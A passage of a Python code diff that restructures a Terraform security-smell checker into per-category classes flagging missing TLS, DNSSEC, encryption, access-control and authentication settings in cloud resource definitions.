str, flag_name: str, safe_value: str, required_flag = True): - database_flags = get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") + + def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: str, safe_value: str, + required_flag = True): + database_flags = self.get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") found_flag = False + errors = [] if database_flags != []: for flag in database_flags: - name = check_required_attribute(flag.keyvalues, [""], "name", flag_name) + name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) if name: found_flag = True - value = check_required_attribute(flag.keyvalues, [""], "value") + value = self.check_required_attribute(flag.keyvalues, [""], "value") if value and value.value.lower() != safe_value: errors.append(Error(smell, value, file, repr(value))) break @@ -161,560 +92,1052 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f if not found_flag and required_flag: errors.append(Error(smell, au, file, repr(au), f"Suggestion: check for a required flag '{flag_name}'.")) - - # check integrity policy - for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (policy['required'] == "yes" and au.type in policy['au_type'] - and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_integrity_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - # check http without tls - if (au.type == "data.http"): - url = check_required_attribute(au.attributes, [""], "url") - if ("${" in url.value): - r = url.value.split("${")[1].split("}")[0] - resource_type = r.split(".")[0] - resource_name = r.split(".")[1] - if get_au(self.code, resource_name, "resource." + resource_type): - errors.append(Error('sec_https', url, file, repr(url))) - - for config in SecurityVisitor.__HTTPS_CONFIGS: - if (config["required"] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config["parents"], config['attribute'])): - errors.append(Error('sec_https', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + return errors - # check ssl/tls policy - if (au.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): - protocol = check_required_attribute(au.attributes, [""], "protocol") - if (protocol and protocol.value.lower() in ["https", "tls"]): - ssl_policy = check_required_attribute(au.attributes, [""], "ssl_policy") - if not ssl_policy: - errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'ssl_policy'.")) - - for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (policy['required'] == "yes" and au.type in policy['au_type'] - and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - # check dns without dnssec - for config in SecurityVisitor.__DNSSEC_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_dnssec', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check public ip - for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_public_ip', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif (config['required'] == "must_not_exist" and au.type in config['au_type']): - a = check_required_attribute(au.attributes, config['parents'], config['attribute']) - if a: - errors.append(Error('sec_public_ip', a, file, repr(a))) - - # check insecure access control - if (au.type == "resource.aws_api_gateway_method"): - http_method = check_required_attribute(au.attributes, [""], 'http_method') - authorization = check_required_attribute(au.attributes, [""], 'authorization') - if (http_method and authorization): - if (http_method.value.lower() == 'get' and authorization.value.lower() == 'none'): - api_key_required = check_required_attribute(au.attributes, [""], 'api_key_required') - if api_key_required and f"{api_key_required.value}".lower() != 'true': - errors.append(Error('sec_access_control', api_key_required, file, repr(api_key_required))) - elif not api_key_required: - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'api_key_required'.")) - elif (http_method and not authorization): - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'authorization'.")) - elif (au.type == "resource.github_repository"): - visibility = check_required_attribute(au.attributes, [""], 'visibility') - if visibility: - if visibility.value.lower() not in ["private", "internal"]: - errors.append(Error('sec_access_control', visibility, file, repr(visibility))) - else: - private = check_required_attribute(au.attributes, [""], 'private') - if private: - if f"{private.value}".lower() != "true": - errors.append(Error('sec_access_control', private, file, repr(private))) - else: - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) - elif (au.type == "resource.google_sql_database_instance"): - check_database_flags('sec_access_control', "cross db ownership chaining", "off") - elif (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - if not get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + - f"associated to an 'aws_s3_bucket' resource.")) - - for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check authentication - if (au.type == "resource.google_sql_database_instance"): - check_database_flags('sec_authentication', "contained database authentication", "off") - elif (au.type == "resource.aws_iam_group"): - expr = "\${aws_iam_group\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - if not get_associated_au(self.code, "resource.aws_iam_group_policy", "group", pattern, [""]): - errors.append(Error('sec_authentication', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + - f"'aws_iam_group' resource.")) - - for config in SecurityVisitor.__AUTHENTICATION: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_authentication', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + class TerraformIntegrityPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_integrity_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and not element.has_variable + and elem_value.lower() not in policy['values']): + return[Error('sec_integrity_policy', element, file, repr(element))] + return errors - # check missing encryption - if (au.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", - "bucket", pattern, [""]) - if not r: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + - f"associated to an 'aws_s3_bucket' resource.")) - elif (au.type == "resource.aws_eks_cluster"): - resources = check_required_attribute(au.attributes, ["encryption_config"], "resources[0]") - if resources: - i = 0 - valid = False - while resources: - a = resources - if resources.value.lower() == "secrets": - valid = True - break - i += 1 - resources = check_required_attribute(au.attributes, ["encryption_config"], f"resources[{i}]") - if not valid: - errors.append(Error('sec_missing_encryption', a, file, repr(a))) - else: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) - elif (au.type in ["resource.aws_instance", "resource.aws_launch_configuration"]): - ebs_block_device = check_required_attribute(au.attributes, [""], "ebs_block_device") - if ebs_block_device: - encrypted = check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") - if not encrypted: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) - elif (au.type == "resource.aws_ecs_task_definition"): - volume = check_required_attribute(au.attributes, [""], "volume") - if volume: - efs_volume_config = check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") - if efs_volume_config: - transit_encryption = check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") - if not transit_encryption: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name" + - f"'volume.efs_volume_configuration.transit_encryption'.")) - - for config in SecurityVisitor.__MISSING_ENCRYPTION: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check firewall misconfiguration - for config in SecurityVisitor.__FIREWALL_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_firewall_misconfig', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check missing threats detection and alerts - for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_threats_detection_alerts', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif (config['required'] == "must_not_exist" and au.type in config['au_type']): - a = check_required_attribute(au.attributes, config['parents'], config['attribute']) - if a: - errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) - - # check weak password/key policy - for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: - if (policy['required'] == "yes" and au.type in policy['au_type'] - and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_weak_password_key_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - # check sensitive action by IAM - if (au.type == "data.aws_iam_policy_document"): - allow = check_required_attribute(au.attributes, ["statement"], "effect") - if ((allow and allow.value.lower() == "allow") or (not allow)): - sensitive_action = False - i = 0 - action = check_required_attribute(au.attributes, ["statement"], f"actions[{i}]") - while action: - if action.value.lower() in ["s3:*", "s3:getobject"]: - sensitive_action = True + class TerraformHttpWithoutTls(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "data.http"): + url = self.check_required_attribute(element.attributes, [""], "url") + if ("${" in url.value): + r = url.value.split("${")[1].split("}")[0] + resource_type = r.split(".")[0] + resource_name = r.split(".")[1] + if self.get_au(code, file, resource_name, "resource." + resource_type): + errors.append(Error('sec_https', url, file, repr(url))) + + for config in SecurityVisitor._HTTPS_CONFIGS: + if (config["required"] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config["parents"], config['attribute'])): + errors.append(Error('sec_https', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._HTTPS_CONFIGS: + if (elem_name == config["attribute"] and au_type in config["au_type"] + and parent_name in config["parents"] and not element.has_variable + and elem_value.lower() not in config["values"]): + return [Error('sec_https', element, file, repr(element))] + return errors + + class TerraformSslTlsPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): + protocol = self.check_required_attribute(element.attributes, [""], "protocol") + if (protocol and protocol.value.lower() in ["https", "tls"]): + ssl_policy = self.check_required_attribute(element.attributes, [""], "ssl_policy") + if not ssl_policy: + errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ssl_policy'.")) + + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and not element.has_variable + and elem_value.lower() not in policy['values']): + return [Error('sec_ssl_tls_policy', element, file, repr(element))] + return errors + + class TerraformDnsWithoutDnssec(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_dnssec', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_dnssec', element, file, repr(element))] + return errors + + class TerraformPublicIp(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_public_ip', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif (config['required'] == "must_not_exist" and element.type in config['au_type']): + a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_public_ip', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_public_ip', element, file, repr(element))] + return errors + + class TerraformAccessControl(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_api_gateway_method"): + http_method = self.check_required_attribute(element.attributes, [""], 'http_method') + authorization =self.check_required_attribute(element.attributes, [""], 'authorization') + if (http_method and authorization): + if (http_method.value.lower() == 'get' and authorization.value.lower() == 'none'): + api_key_required = self.check_required_attribute(element.attributes, [""], 'api_key_required') + if api_key_required and f"{api_key_required.value}".lower() != 'true': + errors.append(Error('sec_access_control', api_key_required, file, repr(api_key_required))) + elif not api_key_required: + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'api_key_required'.")) + elif (http_method and not authorization): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'authorization'.")) + elif (element.type == "resource.github_repository"): + visibility = self.check_required_attribute(element.attributes, [""], 'visibility') + if visibility: + if visibility.value.lower() not in ["private", "internal"]: + errors.append(Error('sec_access_control', visibility, file, repr(visibility))) + else: + private = self.check_required_attribute(element.attributes, [""], 'private') + if private: + if f"{private.value}".lower() != "true": + errors.append(Error('sec_access_control', private, file, repr(private))) + else: + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) + elif (element.type == "resource.google_sql_database_instance"): + errors += self.check_database_flags(element, file, 'sec_access_control', "cross db ownership chaining", "off") + elif (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + + f"associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_access_control', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._POLICY_ACCESS_CONTROL: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + allow_expr = "\"effect\":" + "\s*" + "\"allow\"" + allow_pattern = re.compile(rf"{allow_expr}") + if re.search(pattern, elem_value) and re.search(allow_pattern, elem_value): + errors.append(Error('sec_access_control', element, file, repr(element))) + break + + if (re.search(r"actions\[\d+\]", elem_name) and parent_name == "permissions" + and au_type == "resource.azurerm_role_definition" and elem_value == "*"): + errors.append(Error('sec_access_control', element, file, repr(element))) + elif (((re.search(r"members\[\d+\]", elem_name) and au_type == "resource.google_storage_bucket_iam_binding") + or (elem_name == "member" and au_type == "resource.google_storage_bucket_iam_member")) + and (elem_value == "allusers" or elem_value == "allauthenticatedusers")): + errors.append(Error('sec_access_control', element, file, repr(element))) + elif (elem_name == "email" and parent_name == "service_account" + and au_type == "resource.google_compute_instance" + and re.search(r".-compute@developer.gserviceaccount.com", elem_value)): + errors.append(Error('sec_access_control', element, file, repr(element))) + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_access_control', element, file, repr(element))) break - i += 1 - action = check_required_attribute(au.attributes, ["statement"], f"actions[{i}]") - sensitive_resource = False - i = 0 - resource = check_required_attribute(au.attributes, ["statement"], f"resources[{i}]") - while resource: - if resource.value.lower() in ["*"]: - sensitive_resource = True + return errors + + class TerraformAuthentication(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.google_sql_database_instance"): + errors += self.check_database_flags(element, file, 'sec_authentication', "contained database authentication", "off") + elif (element.type == "resource.aws_iam_group"): + expr = "\${aws_iam_group\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_iam_group_policy", "group", pattern, [""]): + errors.append(Error('sec_authentication', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + + f"'aws_iam_group' resource.")) + + for config in SecurityVisitor._AUTHENTICATION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_authentication', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._POLICY_AUTHENTICATION: + if au_type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, elem_value): + errors.append(Error('sec_authentication', element, file, repr(element))) + + for config in SecurityVisitor._AUTHENTICATION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_authentication', element, file, repr(element))) break - i += 1 - resource = check_required_attribute(au.attributes, ["statement"], f"resources[{i}]") - if (sensitive_action and sensitive_resource): - errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) - - # check key management - if (au.type == "resource.azurerm_storage_account"): - expr = "\${azurerm_storage_account\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - if not get_associated_au(self.code, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", - pattern, [""]): - errors.append(Error('sec_key_management', au, file, repr(au), - f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + - f"associated to an 'azurerm_storage_account' resource.")) - - for config in SecurityVisitor.__KEY_MANAGEMENT: - if (config['required'] == "yes" and au.type in config['au_type'] - and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_key_management', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - # check network security rules - if (au.type == "resource.azurerm_network_security_rule"): - access = check_required_attribute(au.attributes, [""], "access") - if (access and access.value.lower() == "allow"): - protocol = check_required_attribute(au.attributes, [""], "protocol") - if (protocol and protocol.value.lower() == "udp"): - errors.append(Error('sec_network_security_rules', access, file, repr(access))) - elif (protocol and protocol.value.lower() == "tcp"): - dest_port_range = check_required_attribute(au.attributes, [""], "destination_port_range") - dest_port_ranges = check_required_attribute(au.attributes, [""], "destination_port_ranges[0]") - port = False - if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): - port = True - if dest_port_ranges: - i = 1 - while dest_port_ranges: - if dest_port_ranges.value.lower() in ["22", "3389", "*"]: - port = True + return errors + + class TerraformMissingEncryption(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + r = self.get_associated_au(code, file, "resource.aws_s3_bucket_server_side_encryption_configuration", + "bucket", pattern, [""]) + if not r: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + elif (element.type == "resource.aws_eks_cluster"): + resources = self.check_required_attribute(element.attributes, ["encryption_config"], "resources[0]") + if resources: + i = 0 + valid = False + while resources: + a = resources + if resources.value.lower() == "secrets": + valid = True break i += 1 - dest_port_ranges = check_required_attribute(au.attributes, [""], f"destination_port_ranges[{i}]") - if port: - source_address_prefix = check_required_attribute(au.attributes, [""], "source_address_prefix") - if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] - or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): - errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) - elif (au.type == "resource.azurerm_network_security_group"): - access = check_required_attribute(au.attributes, ["security_rule"], "access") - if (access and access.value.lower() == "allow"): - protocol = check_required_attribute(au.attributes, ["security_rule"], "protocol") - if (protocol and protocol.value.lower() == "udp"): - errors.append(Error('sec_network_security_rules', access, file, repr(access))) - elif (protocol and protocol.value.lower() == "tcp"): - dest_port_range = check_required_attribute(au.attributes, ["security_rule"], "destination_port_range") - if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): - source_address_prefix = check_required_attribute(au.attributes, [""], "source_address_prefix") - if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] - or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): - errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) - - for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: - if (rule['required'] == "yes" and au.type in rule['au_type'] - and not check_required_attribute(au.attributes, rule['parents'], rule['attribute'])): - errors.append(Error('sec_network_security_rules', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) - - # check permission of IAM policies - if (au.type == "resource.aws_iam_user"): - expr = "\${aws_iam_user\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - assoc_au = get_associated_au(self.code, "resource.aws_iam_user_policy", "user", pattern, [""]) - if assoc_au: - a = check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) - errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) - - # check logging - if (au.type == "resource.aws_eks_cluster"): - enabled_cluster_log_types = check_required_attribute(au.attributes, [""], "enabled_cluster_log_types[0]") - types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] - if enabled_cluster_log_types: - i = 0 - while enabled_cluster_log_types: - a = enabled_cluster_log_types - if enabled_cluster_log_types.value.lower() in types: - types.remove(enabled_cluster_log_types.value.lower()) - i += 1 - enabled_cluster_log_types = check_required_attribute(au.attributes, [""], f"enabled_cluster_log_types[{i}]") - if types != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional log type(s) {types}.")) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) - elif (au.type == "resource.aws_msk_cluster"): - broker_logs = check_required_attribute(au.attributes, ["logging_info"], "broker_logs") - if broker_logs: - active = False - logs_type = ["cloudwatch_logs", "firehose", "s3"] - a_list = [] - for type in logs_type: - log = check_required_attribute(broker_logs.keyvalues, [""], type) - if log: - enabled = check_required_attribute(log.keyvalues, [""], "enabled") - if enabled and f"{enabled.value}".lower() == "true": - active = True - elif enabled and f"{enabled.value}".lower() != "true": - a_list.append(enabled) - if not active and a_list == []: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) - if not active and a_list != []: - for a in a_list: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) - elif (au.type == "resource.aws_neptune_cluster"): - active = False - enable_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enable_cloudwatch_logs_exports[0]") - if enable_cloudwatch_logs_exports: - i = 0 - while enable_cloudwatch_logs_exports: - a = enable_cloudwatch_logs_exports - if enable_cloudwatch_logs_exports.value.lower() == "audit": - active = True - break - i += 1 - enable_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) - elif (au.type == "resource.aws_docdb_cluster"): - active = False - enabled_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") - if enabled_cloudwatch_logs_exports: - i = 0 - while enabled_cloudwatch_logs_exports: - a = enabled_cloudwatch_logs_exports - if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: - active = True - break - i += 1 - enabled_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) - elif (au.type == "resource.azurerm_mssql_server"): - expr = "\${azurerm_mssql_server\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_server_extended_auditing_policy", - "server_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_server' resource.")) - elif (au.type == "resource.azurerm_mssql_database"): - expr = "\${azurerm_mssql_database\." + f"{au.name}\." - pattern = re.compile(rf"{expr}") - assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_database_extended_auditing_policy", - "database_id", pattern, [""]) - if not assoc_au: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_database' resource.")) - elif (au.type == "resource.azurerm_postgresql_configuration"): - name = check_required_attribute(au.attributes, [""], "name") - value = check_required_attribute(au.attributes, [""], "value") - if (name and name.value.lower() in ["log_connections", "connection_throttling", "log_checkpoints"] - and value and value.value.lower() != "on"): - errors.append(Error('sec_logging', value, file, repr(value))) - elif (au.type == "resource.azurerm_monitor_log_profile"): - categories = check_required_attribute(au.attributes, [""], "categories[0]") - activities = [ "action", "delete", "write"] - if categories: - i = 0 - while categories: - a = categories - if categories.value.lower() in activities: - activities.remove(categories.value.lower()) - i += 1 - categories = check_required_attribute(au.attributes, [""], f"categories[{i}]") - if activities != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional activity type(s) {activities}.")) - else: - errors.append(Error('sec_logging', au, file, repr(au), - f"Suggestion: check for a required attribute with name 'categories'.")) - elif (au.type == "resource.google_sql_database_instance"): - for flag in SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS: - required_flag = True - if flag['required'] == "no": - required_flag = False - check_database_flags('sec_logging', flag['flag_name'], flag['value'], required_flag) - elif (au.type == "resource.azurerm_storage_container"): - storage_account_name = check_required_attribute(au.attributes, [""], "storage_account_name") - if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): - name = storage_account_name.value.lower().split('.')[1] - storage_account_au = get_au(self.code, name, "resource.azurerm_storage_account") - if storage_account_au: - expr = "\${azurerm_storage_account\." + f"{name}\." + resources = self.check_required_attribute(element.attributes, ["encryption_config"], f"resources[{i}]") + if not valid: + errors.append(Error('sec_missing_encryption', a, file, repr(a))) + else: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) + elif (element.type in 